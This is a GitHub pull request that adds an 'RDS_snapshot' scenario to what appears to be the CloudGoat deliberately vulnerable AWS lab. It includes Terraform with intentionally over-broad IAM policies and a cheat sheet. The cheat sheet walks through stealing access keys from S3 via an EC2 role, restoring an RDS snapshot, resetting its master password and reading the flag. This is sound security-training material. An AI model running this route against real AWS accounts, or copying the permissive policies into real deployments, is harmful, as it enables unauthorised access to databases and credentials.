Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Scenario/rds_snapshot issue #241

Open
wants to merge 34 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from 32 commits
Commits
Show all changes
34 commits
Select commit Hold shift + click to select a range
7efe646
Updata : new scenario : RDS_snapshot
tt0kyu Dec 9, 2023
7e25dea
fix : A syntax errors
tt0kyu Dec 9, 2023
68a4acf
fix : A syntax errors & update : tags{name}
tt0kyu Dec 9, 2023
9f3b28d
fix : A syntax errors
tt0kyu Dec 9, 2023
ce67253
fix : provisioner error & depends_on Specify
tt0kyu Dec 9, 2023
1dc0a46
fix : provisioner error{incorrect naming}
tt0kyu Dec 9, 2023
71afa90
update : RDS instance ifno
tt0kyu Dec 9, 2023
1b47cbd
fix : add connection block for remote-exec
tt0kyu Dec 9, 2023
1465392
fix : fixed provisioner command
tt0kyu Dec 9, 2023
061d8b5
fix : provisioner error
tt0kyu Dec 9, 2023
2a05bca
update : renamed the resources
tt0kyu Dec 9, 2023
1449a91
fix : Fixed a syntax error.
tt0kyu Dec 9, 2023
75d9f07
fix : Changed the order of resource creation
tt0kyu Dec 9, 2023
7ac19ec
fix : fixed provisioner error
tt0kyu Dec 9, 2023
4d285a6
update : changed role name
tt0kyu Dec 9, 2023
58eb4b5
update : changed role name & flag
tt0kyu Dec 10, 2023
ea1915a
update : add policies
tt0kyu Dec 10, 2023
43b342a
update : cheat_sheet & README
tt0kyu Dec 10, 2023
7585eb8
Delete scenarios/RDS_Snapshot/terraform/terraform.tfstate.backup
tt0kyu Dec 10, 2023
405fac3
update : add Exploitation Route
tt0kyu Dec 10, 2023
913d82c
Renamed folder to RDS_Snapshot
tt0kyu Dec 10, 2023
c7630b5
fix : Fixed an error in the provisioner.
tt0kyu Dec 10, 2023
e54370a
update : The output command to include cgid.
tt0kyu Dec 11, 2023
b1ccc62
fix : Fixed mysql client installation to work.
tt0kyu Dec 11, 2023
5ed1881
fix : Fixed output message error
tt0kyu Dec 11, 2023
3094331
fix : Fixed mysql client installation to work.
tt0kyu Dec 11, 2023
8562afc
Update : Updated the commands to specify the VPC group and SUBNET group
tt0kyu Dec 14, 2023
a53a465
Fix : Addressed related to https://github.com/RhinoSecurityLabs/cloud…
tt0kyu Dec 18, 2023
548aa99
Update : Updated the commands to specify the VPC group and SUBNET group
tt0kyu Dec 19, 2023
d5bb83f
Update : Updated the commands to specify the VPC group and SUBNET group
tt0kyu Dec 19, 2023
06d2894
update : Added provisioner command[sudo apt-get update].
tt0kyu Dec 21, 2023
8152888
Merge pull request #3 from BoB12-C-G-V/scenario/RDS_snapshot_issue
tt0kyu Dec 25, 2023
32053db
Merge remote-tracking branch 'upstream/master' into scenario/RDS_snap…
tt0kyu Jan 18, 2024
f947c92
Merge remote-tracking branch 'origin/scenario/RDS_snapshot' into scen…
tt0kyu Jan 18, 2024
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
46 changes: 46 additions & 0 deletions scenarios/rds_snapshot/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
# Scenario: RDS_snapshot

**Size:** Small

**Difficulty:** Easy

**Command:** `$ ./cloudgoat.py create RDS_snapshot`

## Scenario Resources

* 1 VPC with:
* EC2 x 1
* S3 x 1
* RDS x 1
* 1 IAM Users

## Scenario Start(s)

1. IAM User "David"

## Scenario Goal(s)

Get the flags that are included in the RDS snapshot.

## Summary


Starting with access to EC2, the user can leverage the privileges of the EC2 instance to steal credentials from S3.

With the stolen credentials, the attacker can gain RDS Snapshot restore privileges, which will allow them to access the DB and retrieve flags.
## Exploitation Route(s)

![Scenario Route(s)](https://github.com/RhinoSecurityLabs/cloudgoat/assets/55736240/bff418b2-f656-4851-9f8d-00288c66e3fa)




## Route Walkthrough - IAM User “David”

1. the attacker gains access to the hijacked EC2 instance.
2. The attacker accesses S3 on the compromised EC2 instance and retrieves credentials.
3. The attacker uses the stolen credentials to locate and access the AWS Relational Database Service (RDS).
4. The attacker verifies that an RDS snapshot exists.
5. The attacker restores the RDS snapshot and hijacks the DB containing customer data (Flag).

A cheat sheet for this route is available [here](./cheat_sheet.md).
8 changes: 8 additions & 0 deletions scenarios/rds_snapshot/assets/insert_data.sql
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
CREATE DATABASE cgdatabase;
USE cgdatabase;
CREATE TABLE flag (
id INT AUTO_INCREMENT PRIMARY KEY,
value VARCHAR(255) NOT NULL
);

INSERT INTO flag(value) VALUES ('flag{cg-secret-495624-205465}');
114 changes: 114 additions & 0 deletions scenarios/rds_snapshot/cheat_sheet.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,114 @@
## Cheat Sheet


An attacker can gain access to a hijacked EC2 instance.


`cd RDS_Snapshot_cgid528tilly5h`


`ssh [email protected] -i ./cloudgoat`


```
[ubuntu@ip-172-31-20-221 ~]$
```


An attacker can list AWS credentials on the server


`aws sts get-caller-identity`


The attacker can check the permissions for the roles granted on EC2.


```
#Check the instance profiles
aws iam list-instance-profiles

aws iam list-role-policies --role-name cg-ec2-admin-role

aws iam get-role-policy --role-name cg-ec2-admin-role --policy-name cg-ec2-admin-policy
```


The attacker sees that S3 is accessible and steals the credentials.
```
aws s3 ls

aws s3 cp s3://cloudgoat/access_keys.txt .
```
The attacker accesses the stolen credentials.
```
aws configure --profile david
```
The attacker checks the permissions of the stolen credentials.
```
aws iam get-user --profile david


aws iam list-user-policies --user-name cg-rds-instance-user-RDS_Snapshot_cgidy7ybygks75 --profile david


aws iam get-user-policy --user-name cg-rds-instance-user-RDS_Snapshot_cgidy7ybygks75 --policy-name cg-david-policy --profile david


# The attacker verifies that he has RDS-related privileges
```

The attacker restores the RDS snapshot.

```
#Verify the information in the RDS snapshot
aws rds describe-db-instances --profile david

aws rds describe-db-snapshots --db-instance-identifier cg-rds



#Restore the RDS snapshot
aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier attack-rds \
--db-snapshot-identifier cg-rds-snapshot \
--db-subnet-group-name cg-db-subnet-group \
--vpc-security-group-ids sg-038cc4ee5486e9c42 \
--profile david



#Wait for a new instance to be created


#Modify the RDS instance password
aws rds modify-db-instance \
--db-instance-identifier attack-rds \
--master-user-password attack1234! \
--apply-immediately \
--profile david



#Verify the master username
aws rds describe-db-instances --db-instance-identifier attack-rds --query \ "DBInstances[.1].1
"DBInstances[].MasterUsername" --profile david


#Determine the MySQL endpoint address
aws rds describe-db-instances --db-instance-identifier attack-rds --query \ "DBInstances[.
"DBInstances[].Endpoint.Address" --profile david


```

The attacker accesses the restored DB and hijacks the FLAG.
```
mysql -h attack-rds.czunzahrebkl.us-east-1.rds.amazonaws.com -P 3306 -u cgadmin -pattack1234!
show databases;
use mydatabase;
show tables;
select * from flag;
```
# Caveats
At the end of the scenario, the instance created by the Restore job is not deleted by ./cloudgoat.py destroy rds_snapshot. You need to delete it manually.
2 changes: 2 additions & 0 deletions scenarios/rds_snapshot/start.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
#!/bin/bash
ssh-keygen -b 4096 -t rsa -f ./cloudgoat -q -N ""
4 changes: 4 additions & 0 deletions scenarios/rds_snapshot/terraform/data_sources.tf
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
#AWS Account Id
data "aws_caller_identity" "aws-account-id" {

}
100 changes: 100 additions & 0 deletions scenarios/rds_snapshot/terraform/ec2.tf
Original file line number Diff line number Diff line change
@@ -0,0 +1,100 @@
data "aws_ami" "ubuntu_image" {
owners = ["099720109477"]
most_recent = true

filter {
name = "name"
values = ["ubuntu/images/hvm-ssd/ubuntu-*-amd64-server-*"]
}

filter {
name = "root-device-type"
values = ["ebs"]
}

filter {
name = "virtualization-type"
values = ["hvm"]
}
}

resource "aws_key_pair" "cg-ec2-key-pair" {
key_name = "cg-ec2-key-pair-${var.cgid}"
public_key = file(var.ssh-public-key-for-ec2)
}

resource "aws_iam_instance_profile" "cg-ec2-instance-profile" {
name = "cg-david_profile"
role = aws_iam_role.cg-ec2-admin-role.name
}

resource "aws_instance" "cg-ec2-instance" {
ami = data.aws_ami.ubuntu_image.id
instance_type = "t2.micro"
iam_instance_profile = aws_iam_instance_profile.cg-ec2-instance-profile.name
key_name = aws_key_pair.cg-ec2-key-pair.key_name
subnet_id = aws_subnet.cg-subnet-1.id
metadata_options {
http_endpoint = "enabled"
http_tokens = "required"
http_put_response_hop_limit = 1
}
vpc_security_group_ids = [
aws_security_group.cg-ec2-ssh-security-group.id,
]
tags = {
Name = "cg-david-${var.cgid}"
}

depends_on = [aws_db_instance.cg-rds-db_instance]

provisioner "file" {
source = "../assets/insert_data.sql"
destination = "/home/ubuntu/insert_data.sql"
connection {
type = "ssh"
user = "ubuntu"
private_key = file(var.ssh-private-key-for-ec2)
host = self.public_ip
}
}

provisioner "remote-exec" {
inline = [
"sudo apt-get update -y",
"sudo apt install python3-pip -y",
"pip3 install --upgrade pip",
"pip3 install awscli --upgrade --user",
"sudo apt-get update",
"sudo apt-get install mysql-client -y",
"cd /home/ubuntu",
"mysql -h ${aws_db_instance.cg-rds-db_instance.address} -u ${var.rds-username} -p${var.rds-password} < /home/ubuntu/insert_data.sql",
"sudo rm /home/ubuntu/insert_data.sql"
]

connection {
type = "ssh"
user = "ubuntu"
private_key = file(var.ssh-private-key-for-ec2)
host = self.public_ip
}
}
}
resource "null_resource" "delete_data" {
triggers = {
snapshot_id = aws_db_snapshot.cg-rds_snapshot.id
}

provisioner "remote-exec" {
inline = [
"mysql -h ${aws_db_instance.cg-rds-db_instance.address} -u ${var.rds-username} -p${var.rds-password} -D cgdatabase -e 'DROP TABLE flag;'"
]

connection {
type = "ssh"
user = "ubuntu"
private_key = file(var.ssh-private-key-for-ec2)
host = aws_instance.cg-ec2-instance.public_ip
}
}
}
77 changes: 77 additions & 0 deletions scenarios/rds_snapshot/terraform/iam.tf
Original file line number Diff line number Diff line change
@@ -0,0 +1,77 @@
resource "aws_iam_user" "cg-david" {
name = "cg-rds-instance-user-${var.cgid}"
tags = {
Name = "cg-rds-instance-user-${var.cgid}"
}
}

resource "aws_iam_access_key" "cg-david" {
user = aws_iam_user.cg-david.name
}

resource "aws_iam_user_policy" "cg-david-policy" {
name = "cg-david-policy"
user = aws_iam_user.cg-david.name

policy = <<EOF
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"rds:DescribeDBInstances",
"rds:AddTagsToResource",
"rds:DescribeDBSnapshots",
"rds:RestoreDBInstanceFromDBSnapshot",
"rds:ModifyDBInstance",
"iam:Get*",
"iam:List*"
],
"Resource": "*"
}
]
}
EOF
}

resource "aws_iam_role" "cg-ec2-admin-role" {
name = "cg-ec2-admin-role"

assume_role_policy = <<EOF
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "ec2.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
}
EOF
}

resource "aws_iam_role_policy" "cg-ec2-admin-policy" {
name = "cg-ec2-admin-policy"
role = aws_iam_role.cg-ec2-admin-role.id

policy = <<EOF
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:*",
"iam:List*",
"iam:Get*"
],
"Resource": "*"
}
]
}
EOF
}
11 changes: 11 additions & 0 deletions scenarios/rds_snapshot/terraform/output.tf
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
output "ec2_IP"{
value = "${aws_instance.cg-ec2-instance.public_ip}"
}

output "ssh_command" {
value = "ssh -i ${var.cgid}/cloudgoat ubuntu@${aws_instance.cg-ec2-instance.public_ip}"
}

output "cloudgoat_output_aws_account_id" {
value = "${data.aws_caller_identity.aws-account-id.account_id}"
}
4 changes: 4 additions & 0 deletions scenarios/rds_snapshot/terraform/provider.tf
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
provider "aws" {
profile = var.profile
region = var.region
}
Loading